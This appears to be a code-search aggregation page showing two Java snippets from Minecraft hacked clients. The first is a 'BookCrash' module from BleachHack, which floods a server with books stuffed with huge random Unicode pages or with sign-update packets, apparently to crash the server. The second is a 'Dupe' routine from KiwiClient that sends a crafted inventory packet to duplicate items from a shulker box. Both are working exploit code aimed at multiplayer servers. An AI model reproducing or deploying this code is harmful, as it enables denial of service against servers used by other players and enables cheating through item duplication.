use of net.minecraft.network.packet.c2s.play.ClickSlotC2SPacket in project BleachHack by BleachDrinker420.
the class BookCrash method onTick.
@BleachSubscribe
public void onTick(EventTick event) {
delay = (delay >= getSetting(2).asSlider().getValue() ? 0 : delay + 1);
if (delay > 0)
return;
ItemStack bookObj = new ItemStack(Items.WRITABLE_BOOK);
NbtList list = new NbtList();
NbtCompound tag = new NbtCompound();
String author = "Bleach";
String title = "\n Bleachhack Owns All \n";
String size = "";
int pages = Math.min(getSetting(4).asSlider().getValueInt(), 100);
int pageChars = 210;
if (getSetting(3).asMode().getMode() == 2) {
IntStream chars = new Random().ints(0x80, 0x10FFFF - 0x800).map(i -> i < 0xd800 ? i : i + 0x800);
size = chars.limit(pageChars * pages).mapToObj(i -> String.valueOf((char) i)).collect(Collectors.joining());
} else if (getSetting(3).asMode().getMode() == 1) {
size = repeat(pages * pageChars, String.valueOf(0x10FFFF));
} else if (getSetting(3).asMode().getMode() == 0) {
IntStream chars = new Random().ints(0x20, 0x7E);
size = chars.limit(pageChars * pages).mapToObj(i -> String.valueOf((char) i)).collect(Collectors.joining());
} else if (getSetting(3).asMode().getMode() == 3) {
size = "wveb54yn4y6y6hy6hb54yb5436by5346y3b4yb343yb453by45b34y5by34yb543yb54y5 h3y4h97,i567yb64t5vr2c43rc434v432tvt4tvybn4n6n57u6u57m6m6678mi68,867,79o,o97o,978iun7yb65453v4tyv34t4t3c2cc423rc334tcvtvt43tv45tvt5t5v43tv5345tv43tv5355vt5t3tv5t533v5t45tv43vt4355t54fwveb54yn4y6y6hy6hb54yb5436by5346y3b4yb343yb453by45b34y5by34yb543yb54y5 h3y4h97,i567yb64t5vr2c43rc434v432tvt4tvybn4n6n57u6u57m6m6678mi68,867,79o,o97o,978iun7yb65453v4tyv34t4t3c2cc423rc334tcvtvt43tv45tvt5t5v43tv5345tv43tv5355vt5t3tv5t533v5t45tv43vt4355t54fwveb54yn4y6y6hy6hb54yb5436by5346y3b4yb343yb453by45b34y5by34yb543yb54y5 h3y4h97,i567yb64t5";
}
if (getSetting(0).asMode().getMode() == 2) {
String text = "bh ontop";
Random rand = new Random();
for (int i = 0; i < getSetting(1).asSlider().getValue(); i++) {
mc.player.networkHandler.sendPacket(new UpdateSignC2SPacket(new BlockPos(rand.nextInt(29999999), rand.nextInt(29999999), rand.nextInt(29999999)), text, text, text, text));
}
} else {
for (int i = 0; i < pages; i++) {
NbtString tString = NbtString.of(size);
list.add(tString);
}
tag.putString("author", author);
tag.putString("title", title);
tag.put("pages", list);
bookObj.setSubNbt("pages", list);
bookObj.setNbt(tag);
for (int i = 0; i < getSetting(1).asSlider().getValue(); i++) {
if (getSetting(0).asMode().getMode() == 0) {
Int2ObjectMap<ItemStack> map = new Int2ObjectOpenHashMap<>(1);
map.put(0, bookObj);
mc.player.networkHandler.sendPacket(new ClickSlotC2SPacket(0, 0, 0, 0, SlotActionType.PICKUP, bookObj, map));
} else {
mc.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(0, bookObj));
}
}
}
}
use of net.minecraft.network.packet.c2s.play.ClickSlotC2SPacket in project KiwiClient by TangyKiwi.
the class Dupe method packetSent.
public static void packetSent(Packet<?> p) {
if (shouldDupe() && p instanceof PlayerActionC2SPacket) {
PlayerActionC2SPacket packet = (PlayerActionC2SPacket) p;
if (packet.getAction() == PlayerActionC2SPacket.Action.STOP_DESTROY_BLOCK) {
ScreenHandler var3 = MinecraftClient.getInstance().player.currentScreenHandler;
if (var3 instanceof ShulkerBoxScreenHandler) {
ShulkerBoxScreenHandler screenHandler = (ShulkerBoxScreenHandler) var3;
Int2ObjectArrayMap<ItemStack> stack = new Int2ObjectArrayMap();
stack.put(0, screenHandler.getSlot(0).getStack());
ClickSlotC2SPacket cs = new ClickSlotC2SPacket(screenHandler.syncId, 0, 0, 0, SlotActionType.PICKUP, screenHandler.getSlot(0).getStack(), stack);
MinecraftClient.getInstance().getNetworkHandler().sendPacket(cs);
actuallyPullThrough = false;
preDoDupe = false;
}
}
}
}
Aggregations